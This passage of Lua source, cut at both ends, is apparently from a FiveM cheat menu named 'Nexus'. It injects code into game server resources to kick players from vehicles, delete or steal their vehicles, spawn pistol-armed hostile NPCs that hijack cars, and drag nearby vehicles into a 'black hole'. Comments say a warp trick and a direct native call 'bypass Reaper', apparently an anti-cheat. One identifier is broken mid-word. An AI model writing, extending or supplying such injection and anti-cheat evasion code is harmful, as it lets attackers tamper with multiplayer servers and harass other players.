GetShapeTestResult(rayHandle) ShootVehicle(VehicleList[CurrentVehicleIndex], endCoords, rot) end -- Kick from Vehicle: Click once to trigger if hoveredOption == "Kick from Vehicle" and IsDisabledControlJustPressed(0, 24) then if _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then local method = CurrentKickMethodIndex or 1 local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) local targetVehicle = nil -- Find target vehicle from raycast if hit and entityHit ~= 0 and DoesEntityExist(entityHit) then if IsEntityAVehicle(entityHit) then targetVehicle = entityHit elseif IsEntityAPed(entityHit) then local veh = GetVehiclePedIsIn(entityHit, false) if veh and veh ~= 0 then targetVehicle = veh end end end -- Fallback: find closest vehicle to camera if not targetVehicle then local vehicles = GetGamePool('CVehicle') if vehicles then local closestDist = 50.0 for _, veh in ipairs(vehicles) do if DoesEntityExist(veh) then local dist = #(camCoords - GetEntityCoords(veh)) if dist < closestDist then closestDist = dist targetVehicle = veh end end end end end if targetVehicle and DoesEntityExist(targetVehicle) then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) if method == 1 then -- Method 1: TaskEnterVehicle approach (using direct vehicle handle) MachoInjectResource2(NewThreadNs, InjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end safeCall(CreateThread, function() local vehicle = %d if vehicle and safeCall(DoesEntityExist, vehicle) then local playerCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) local ped = safeCall(PlayerPedId) safeCall(TaskEnterVehicle, ped, vehicle, 1, -1, 2.0, 8, 0) safeCall(Wait, 100) safeCall(SetEntityCoords, ped, playerCoords.x, playerCoords.y, playerCoords.z, false, false, false, true) safeCall(ClearPedTasksImmediately, ped) end end) ]], targetVehicle)) else -- Method 2: Synchronized scene animation approach (using direct vehicle handle) MachoInjectResource2(NewThreadNs, InjectionResource(), string.format([[ local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local GetVehicleModelNumberOfSeats = _G.GetVehicleModelNumberOfSeats or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local NetworkCreateSynchronisedScene = _G.NetworkCreateSynchronisedScene or function(...) end local NetworkAddPedToSynchronisedSceneWithIk = _G.NetworkAddPedToSynchronisedSceneWithIk or function(...) end local NetworkStartSynchronisedScene = _G.NetworkStartSynchronisedScene or function(...) end local NetworkStopSynchronisedScene = _G.NetworkStopSynchronisedScene or function(...) end local RequestAnimDict = _G.RequestAnimDict or function(...) end local HasAnimDictLoaded = _G.HasAnimDictLoaded or function(...) end local IsPedInVehicle = _G.IsPedInVehicle or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local Wait = _G.Wait or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local CreateThread = _G.CreateThread or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local jmvm = %d local ped = GetPedInVehicleSeat(jmvm, -1) local pedvehicle = GetVehiclePedIsIn(ped, false) local seat = -2 if pedvehicle ~= 0 then for i = -1, GetVehicleModelNumberOfSeats(GetEntityModel(pedvehicle)) - 2 do if GetPedInVehicleSeat(pedvehicle, i) == ped then seat = i break end end end local lastCoords = GetEntityCoords(PlayerPedId()) local animDict = "anim@mp_player_intcelebrationfemale@uncle_disco" local animName = "uncle_disco" RequestAnimDict(animDict) while not HasAnimDictLoaded(animDict) do Wait(0) end local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) local startTime = GetGameTimer() local scene = NetworkCreateSynchronisedScene(coords.x, coords.y, coords.z, 0.0, 0.0, heading, 2, true, false, 1065353216, 0, 1.3) NetworkAddPedToSynchronisedSceneWithIk(ped, scene, animDict, animName, 2.0, -2.0, -1, 1, 0, false, 0) NetworkStartSynchronisedScene(scene) DeleteEntity(ped) SetEntityVisible(PlayerPedId(), false, false) FreezeEntityPosition(PlayerPedId(), true) TaskEnterVehicle(PlayerPedId(), pedvehicle, 4, seat, 4.0, 8) NetworkStopSynchronisedScene(scene) while not IsPedInVehicle(ped, pedvehicle, true) and (GetGameTimer() - startTime) < 2000 do Wait(0) end Wait(1) TaskLeaveAnyVehicle(PlayerPedId()) ClearPedTasks(PlayerPedId()) ClearPedTasksImmediately(PlayerPedId()) Wait(100) SetEntityCoordsNoOffset(PlayerPedId(), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) FreezeEntityPosition(PlayerPedId(), false) ClearPedTasks(PlayerPedId()) ClearPedTasksImmediately(PlayerPedId()) SetEntityVisible(PlayerPedId(), true, true) SetEntityCollision(PlayerPedId(), true, true) SetEntityInvincible(PlayerPedId(), false) SetPedCanRagdoll(PlayerPedId(), true) SetPedConfigFlag(PlayerPedId(), 32, false) Wait(50) local syncCoords = GetEntityCoords(PlayerPedId()) SetEntityCoordsNoOffset(PlayerPedId(), syncCoords.x + 0.1, syncCoords.y + 0.1, syncCoords.z, false, false, false, false) Wait(50) SetEntityCoordsNoOffset(PlayerPedId(), syncCoords.x - 0.1, syncCoords.y - 0.1, syncCoords.z, false, false, false, false) Wait(50) SetEntityCoordsNoOffset(PlayerPedId(), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) Wait(200) FreezeEntityPosition(PlayerPedId(), false) SetEntityVisible(PlayerPedId(), true, true) ClearPedTasksImmediately(PlayerPedId()) Wait(100) ]], targetVehicle)) end end end end -- Delete Vehicle: Click once to trigger (works on ANY vehicle, empty or occupied) if hoveredOption == "Delete Vehicle" and IsDisabledControlJustPressed(0, 24) then if _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then local method = CurrentDeleteMethodIndex or 1 local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) local targetVehicle = nil -- Find target vehicle from raycast if hit and entityHit ~= 0 and DoesEntityExist(entityHit) then if IsEntityAVehicle(entityHit) then targetVehicle = entityHit elseif IsEntityAPed(entityHit) then local veh = GetVehiclePedIsIn(entityHit, false) if veh and veh ~= 0 then targetVehicle = veh end end end -- Fallback: find closest vehicle to camera if not targetVehicle then local vehicles = GetGamePool('CVehicle') if vehicles then local closestDist = 50.0 for _, veh in ipairs(vehicles) do if DoesEntityExist(veh) then local dist = #(camCoords - GetEntityCoords(veh)) if dist < closestDist then closestDist = dist targetVehicle = veh end end end end end if targetVehicle and DoesEntityExist(targetVehicle) then local myCoords = GetEntityCoords(PlayerPedId()) MachoInjectResource2(NewThreadNs, InjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local NetworkHasControlOfEntity = _G.NetworkHasControlOfEntity or function(...) end local Wait = _G.Wait or Citizen.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local CreateThread = _G.CreateThread or Citizen.CreateThread or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local vehicle = %d local originalCoords = vector3(%.4f, %.4f, %.4f) safeCall(CreateThread, function() local myPed = safeCall(PlayerPedId) safeCall(SetPedConfigFlag, myPed, 342, false) safeCall(SetPedConfigFlag, myPed, 252, true) safeCall(SetPedConfigFlag, myPed, 141, true) safeCall(SetPedConfigFlag, myPed, 144, true) -- SafeWarp pattern to bypass Reaper safeCall(SetEntityVisible, myPed, false, false) safeCall(FreezeEntityPosition, myPed, true) safeCall(SetPedIntoVehicle, myPed, vehicle, -1) safeCall(Wait, 1000) -- Request control after warp safeCall(NetworkRequestControlOfEntity, vehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) -- Delete the vehicle safeCall(SetEntityAsMissionEntity, vehicle, true, true) safeCall(DeleteEntity, vehicle) -- Restore player safeCall(Wait, 50) safeCall(SetEntityCoordsNoOffset, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, false) safeCall(FreezeEntityPosition, myPed, false) safeCall(SetEntityVisible, myPed, true, true) safeCall(ClearPedTasksImmediately, myPed) end) ]], targetVehicle, myCoords.x, myCoords.y, myCoords.z)) end end end -- Steal Vehicle: Click once to trigger if hoveredOption == "Steal Vehicle" and IsDisabledControlJustPressed(0, 24) then if _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then local method = CurrentStealMethodIndex or 1 local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) local targetVehicle = nil -- Find target vehicle from raycast if hit and entityHit ~= 0 and DoesEntityExist(entityHit) then if IsEntityAVehicle(entityHit) then targetVehicle = entityHit elseif IsEntityAPed(entityHit) then local veh = GetVehiclePedIsIn(entityHit, false) if veh and veh ~= 0 then targetVehicle = veh end end end -- Fallback: find closest vehicle to camera if not targetVehicle then local vehicles = GetGamePool('CVehicle') if vehicles then local closestDist = 50.0 for _, veh in ipairs(vehicles) do if DoesEntityExist(veh) then local dist = #(camCoords - GetEntityCoords(veh)) if dist < closestDist then closestDist = dist targetVehicle = veh end end end end end if targetVehicle and DoesEntityExist(targetVehicle) then local myCoords = GetEntityCoords(PlayerPedId()) MachoInjectResource2(NewThreadNs, InjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local NetworkHasControlOfEntity = _G.NetworkHasControlOfEntity or function(...) end local Wait = _G.Wait or Citizen.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local CreateThread = _G.CreateThread or Citizen.CreateThread or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local vehicle = %d local originalCoords = vector3(%.4f, %.4f, %.4f) safeCall(CreateThread, function() local myPed = safeCall(PlayerPedId) safeCall(SetPedConfigFlag, myPed, 342, false) safeCall(SetPedConfigFlag, myPed, 252, true) safeCall(SetPedConfigFlag, myPed, 141, true) safeCall(SetPedConfigFlag, myPed, 144, true) -- SafeWarp pattern to bypass Reaper - warp in, request control, then stay safeCall(SetEntityVisible, myPed, false, false) safeCall(FreezeEntityPosition, myPed, true) safeCall(SetPedIntoVehicle, myPed, vehicle, -1) safeCall(Wait, 1000) -- Request control after warp safeCall(NetworkRequestControlOfEntity, vehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) -- Stay in vehicle (steal it) safeCall(FreezeEntityPosition, myPed, false) safeCall(SetEntityVisible, myPed, true, true) safeCall(ClearPedTasksImmediately, myPed) end) ]], targetVehicle, myCoords.x, myCoords.y, myCoords.z)) end end end -- NPC Hijack Vehicle: Click once to trigger if hoveredOption == "NPC Hijack Vehicle" and IsDisabledControlJustPressed(0, 24) then if _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then local method = CurrentHijackMethodIndex or 1 local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) local targetVehicle = nil -- Find target vehicle from raycast if hit and entityHit ~= 0 and DoesEntityExist(entityHit) then if IsEntityAVehicle(entityHit) then targetVehicle = entityHit elseif IsEntityAPed(entityHit) then local veh = GetVehiclePedIsIn(entityHit, false) if veh and veh ~= 0 then targetVehicle = veh end end end -- Fallback: find closest vehicle to camera if not targetVehicle then local vehicles = GetGamePool('CVehicle') if vehicles then local closestDist = 50.0 for _, veh in ipairs(vehicles) do if DoesEntityExist(veh) then local dist = #(camCoords - GetEntityCoords(veh)) if dist < closestDist then closestDist = dist targetVehicle = veh end end end end end if targetVehicle and DoesEntityExist(targetVehicle) then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) Citizen.CreateThread(function() -- First kick any occupants by warping in briefly SetEntityVisible(playerPed, false, false) FreezeEntityPosition(playerPed, true) TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(100) SetEntityCoordsNoOffset(playerPed, playerCoords.x, playerCoords.y, playerCoords.z, false, false, false, false) FreezeEntityPosition(playerPed, false) SetEntityVisible(playerPed, true, true) ClearPedTasksImmediately(playerPed) Citizen.Wait(200) local vehCoords = GetEntityCoords(targetVehicle) local vehHeading = GetEntityHeading(targetVehicle) local npcModel = GetHashKey('a_m_m_skater_01') RequestModel(npcModel) local timeout = 0 while not HasModelLoaded(npcModel) and timeout < 500 do Citizen.Wait(10) timeout = timeout + 1 end if HasModelLoaded(npcModel) then local npc = CreatePed(4, npcModel, vehCoords.x + 1.0, vehCoords.y + 1.0, vehCoords.z, vehHeading, false, false) if npc and DoesEntityExist(npc) then SetEntityAsMissionEntity(npc, true, true) SetModelAsNoLongerNeeded(npcModel) SetBlockingOfNonTemporaryEvents(npc, true) SetPedCanRagdoll(npc, false) SetPedFleeAttributes(npc, 0, false) SetPedCombatAttributes(npc, 46, true) SetPedCombatAbility(npc, 100) SetPedAccuracy(npc, 100) SetPedCombatRange(npc, 2) SetPedCombatMovement(npc, 2) SetPedRelationshipGroupHash(npc, GetHashKey('HATES_PLAYER')) local weaponHash = GetHashKey('WEAPON_PISTOL') GiveWeaponToPed(npc, weaponHash, 250, false, true) SetCurrentPedWeapon(npc, weaponHash, true) Citizen.Wait(100) TaskWarpPedIntoVehicle(npc, targetVehicle, -1) Citizen.Wait(200) if not IsPedInVehicle(npc, targetVehicle, false) then SetPedIntoVehicle(npc, targetVehicle, -1) Citizen.Wait(200) end TaskVehicleDriveWander(npc, targetVehicle, 50.0, 786603) SetVehicleEngineOn(targetVehicle, true, true, false) SetVehicleEngineHealth(targetVehicle, 1000.0) SetVehicleBodyHealth(targetVehicle, 1000.0) SetVehiclePetrolTankHealth(targetVehicle, 1000.0) _G.NexusHijackNPCs = _G.NexusHijackNPCs or {} table.insert(_G.NexusHijackNPCs, npc) end end end) end end end -- Black Hole: Click once to trigger if hoveredOption == "Black Hole" and IsDisabledControlJustPressed(0, 24) then -- Pass the freecam variables to the monitor thread local freecamEnabled = _G.NexusFreecamEnabled local freecamObject = _G.NexusFreecamObject SafeInjectResourceRaw(InjectionResource(), string.format([[ -- Initialize freecam variables in monitor thread _G.NexusFreecamEnabled = %s _G.NexusFreecamObject = %s -- Define SmartInvoker function inside injection local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end if _G.NexusFreecamEnabled and _G.NexusFreecamObject and SmartInvoker(DoesCamExist, _G.NexusFreecamObject) then SmartInvoker(CreateThread, function() local affectedVehicles = {} local lastForward = nil local playerPed = SmartInvoker(PlayerPedId) local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local function GetGameEntitiesInRadius(x, y, z, radius) local entities = {} local handle, entity = SmartInvoker(FindFirstVehicle) local success repeat local pos = SmartInvoker(GetEntityCoords, entity) local distance = #(vector3(x, y, z) - pos) if distance <= radius then table.insert(entities, entity) end success, entity = SmartInvoker(FindNextVehicle, handle) until not success SmartInvoker(EndFindVehicle, handle) return entities end while SmartInvoker(IsDisabledControlPressed, 0, 24) do local camPos = SmartInvoker(GetCamCoord, _G.NexusFreecamObject) local camRot = SmartInvoker(GetCamRot, _G.NexusFreecamObject, 2) lastForward = RotationToDirection(camRot) local targetPos = camPos + lastForward * 15.0 local nearbyVehicles = GetGameEntitiesInRadius(camPos.x, camPos.y, camPos.z, 100.0) for _, vehicle in ipairs(nearbyVehicles) do if SmartInvoker(DoesEntityExist, vehicle) and not SmartInvoker(IsEntityAPed, vehicle) and vehicle ~= SmartInvoker(GetVehiclePedIsIn, playerPed, false) then SmartInvoker(NetworkRequestControlOfEntity, vehicle) if SmartInvoker(NetworkHasControlOfEntity, vehicle) then SmartInvoker(SetEntityAsMissionEntity, vehicle, true, true) SmartInvoker(FreezeEntityPosition, vehicle, false) affectedVehicles[vehicle] = true local currentPos = SmartInvoker(GetEntityCoords, vehicle) local direction = targetPos - currentPos local distance = #(targetPos - currentPos) if distance > 0.1 then local forceStrength = 150.0 * (distance / 50.0 + 0.2) local normalizedForce = direction / (distance + 0.01) * forceStrength SmartInvoker(SetEntityVelocity, vehicle, normalizedForce.x, normalizedForce.y, normalizedForce.z) else SmartInvoker(SetEntityCoordsNoOffset, vehicle, targetPos.x, targetPos.y, targetPos.z, true, true, true) SmartInvoker(SetEntityVelocity, vehicle, 0.0, 0.0, 0.0) end end end end SmartInvoker(Wait, 0) end for vehicle, _ in pairs(affectedVehicles) do if SmartInvoker(DoesEntityExist, vehicle) then SmartInvoker(SetEntityAsMissionEntity, vehicle, false, false) if lastForward then local shootVelocity = lastForward * 75.0 SmartInvoker(SetEntityVelocity, vehicle, shootVelocity.x, shootVelocity.y, shootVelocity.z) end end end end) else print("^1[ERROR]: NexusFreecam not properly initialized") end ]], tostring(freecamEnabled), tostring(freecamObject))) end -- Spawn Ped: Click once to trigger if hoveredOption == "Spawn Ped" and IsDisabledControlJustPressed(0, 24) then local pedModel = PedList[CurrentPedIndex] local canSpawn = true if canSpawn then local currentTime = GetGameTimer() local lastPedSpawnTime = _G.lastPedSpawnTime or 0 local pedCooldown = 1500 -- 1.5 seconds cooldown if currentTime - lastPedSpawnTime < pedCooldown then canSpawn = false else _G.lastPedSpawnTime = currentTime end end -- Only spawn if allowed if canSpawn then -- Pass the freecam variables to the monitor thread local freecamEnabled = _G.NexusFreecamEnabled local freecamObject = _G.NexusFreecamObject SafeInjectResourceRaw(InjectionResource(), string.format([[ -- Initialize freecam variables in monitor thread _G.NexusFreecamEnabled = %s _G.NexusFreecamObject = %s -- Define SmartInvoker function inside injection local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end if _G.NexusFreecamEnabled and _G.NexusFreecamObject and SmartInvoker(DoesCamExist, _G.NexusFreecamObject) then local playerPed = SmartInvoker(PlayerPedId) local camCoords = SmartInvoker(GetCamCoord, _G.NexusFreecamObject) local camRot = SmartInvoker(GetCamRot, _G.NexusFreecamObject, 2) local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local forward = RotationToDirection(camRot) local dest = camCoords + forward * 500.0 local rayHandle = SmartInvoker(StartShapeTestRay, camCoords.x, camCoords.y, camCoords.z, dest.x, dest.y, dest.z, -1, playerPed, 0) local _, hit, hitCoords = SmartInvoker(GetShapeTestResult, rayHandle) local spawnPos = hit and hitCoords or (camCoords + forward * 10.0) local model = SmartInvoker(GetHashKey, "%s") SmartInvoker(RequestModel, model) local timeout = 0 while not SmartInvoker(HasModelLoaded, model) and timeout < 500 do SmartInvoker(Wait, 10) timeout = timeout + 1 end if SmartInvoker(HasModelLoaded, model) then local ped = SmartInvoker(CreatePed, 4, model, spawnPos.x, spawnPos.y, spawnPos.z, camRot.z, true, true) if ped and SmartInvoker(DoesEntityExist, ped) then SmartInvoker(SetEntityAsMissionEntity, ped, true, true) SmartInvoker(SetModelAsNoLongerNeeded, model) -- Set ped attributes SmartInvoker(SetBlockingOfNonTemporaryEvents, ped, true) SmartInvoker(SetPedCanRagdoll, ped, false) SmartInvoker(SetPedFleeAttributes, ped, 0, false) SmartInvoker(SetPedCombatAttributes, ped, 46, true) SmartInvoker(SetPedCombatAbility, ped, 100) SmartInvoker(SetPedAccuracy, ped, 100) -- Random variations for variety local randomVariation = math.random(0, 15) for i = 0, 11 do local maxDrawable = SmartInvoker(GetNumberOfPedDrawableVariations, ped, i) if maxDrawable > 0 then local drawable = math.random(0, maxDrawable - 1) local maxTexture = SmartInvoker(GetNumberOfPedTextureVariations, ped, i, drawable) local texture = maxTexture > 0 and math.random(0, maxTexture - 1) or 0 SmartInvoker(SetPedComponentVariation, ped, i, drawable, texture, 0) end end -- Random props for i = 0, 7 do local maxProp = SmartInvoker(GetNumberOfPedPropDrawableVariations, ped, i) if maxProp > 0 and math.random() > 0.5 then local propIndex = math.random(0, maxProp - 1) local maxPropTexture = SmartInvoker(GetNumberOfPedPropTextureVariations, ped, i, propIndex) local propTexture = maxPropTexture > 0 and math.random(0, maxPropTexture - 1) or 0 SmartInvoker(SetPedPropIndex, ped, i, propIndex, propTexture, true) end end _G.NexusSpawnedPeds = _G.NexusSpawnedPeds or {} table.insert(_G.NexusSpawnedPeds, ped) end else end else end ]], tostring(freecamEnabled), tostring(freecamObject), pedModel)) end end -- Shoot Weapon: Click once to trigger (logic handled in ShootWeapon function) if hoveredOption == "Shoot Weapon" and IsDisabledControlJustPressed(0, 24) then _G.ShootRequested = true ShootWeapon() end -- Remote Vehicle: Click once to trigger (hijack driver and take control) if hoveredOption == "Remote Vehicle" and IsDisabledControlJustPressed(0, 24) then local function safeCall(fn, ...) if fn then return fn(...) end end local DoesCamExist = _G.DoesCamExist or function(...) end local GetCamCoord = _G.GetCamCoord or function(...) end local GetCamRot = _G.GetCamRot or function(...) end local StartShapeTestRay = _G.StartShapeTestRay or function(...) end local GetShapeTestResult = _G.GetShapeTestResult or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local IsEntityAVehicle = _G.IsEntityAVehicle or function(...) end local IsEntityAPed = _G.IsEntityAPed or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local freeCam = _G.NexusFreecamObject if freeCam and safeCall(DoesCamExist, freeCam) then local camCoords = safeCall(GetCamCoord, freeCam) local rot = safeCall(GetCamRot, freeCam, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = safeCall(StartShapeTestRay, camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, safeCall(PlayerPedId), 7) local _, hit, endCoords, _, entityHit = safeCall(GetShapeTestResult, rayHandle) local hitEnt = nil if hit and entityHit and safeCall(DoesEntityExist, entityHit) then if safeCall(IsEntityAVehicle, entityHit) then hitEnt = entityHit elseif safeCall(IsEntityAPed, entityHit) then local pedVeh = safeCall(GetVehiclePedIsIn, entityHit, false) if pedVeh and pedVeh ~= 0 and safeCall(DoesEntityExist, pedVeh) then hitEnt = pedVeh end end end if hitEnt and safeCall(DoesEntityExist, hitEnt) and safeCall(IsEntityAVehicle, hitEnt) then local player = safeCall(PlayerPedId) local myCoords = safeCall(GetEntityCoords, player) local vehicle = hitEnt -- Disable freecam MachoSendDuiMessage(dui, json.encode({ action = "displayFreecam", visible = false })) _G.NexusFreecamEnabled = false if _G.NexusFreecamObject then SafeInjectResourceRaw(InjectionResource(), string.format([[ RenderScriptCams(false, false, 0, true, true) DestroyCam(%d, false) ClearFocus() ]], _G.NexusFreecamObject)) local ped = safeCall(PlayerPedId) safeCall(FreezeEntityPosition, ped, false) safeCall(ClearPedTasksImmediately, ped) _G.NexusFreecamObject = nil end -- Start remote vehicle control with ped driver SafeInjectResourceRaw(InjectionResource(), string.format([[ local vehicle = %d local myCoords = {x = %f, y = %f, z = %f} local player = PlayerPedId() local rcent = nil local g_RemoteControlActive = true -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end local function RequestControlDirect(entity) if not DoesEntityExist(entity) then return false end -- Check if we already have control if NetworkHasControlOfEntity(entity) then return true end -- Call native directly to bypass Reaper hook local attempts = 0 while not NetworkHasControlOfEntity(entity) and attempts < 50 do InvokeNative(NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) Wait(0) attempts = attempts + 1 end return NetworkHas ControlOfEntity(entity) end local function LoadModel(model) RequestModel(model) local timeout = 0 while not HasModelLoaded(model) and timeout < 5000 do Wait(10) timeout = timeout + 10 end return HasModelLoaded(model) end -- First put player in seat -1, wait, then request control CreateThread(function() -- Store original heading before warping local originalHeading = 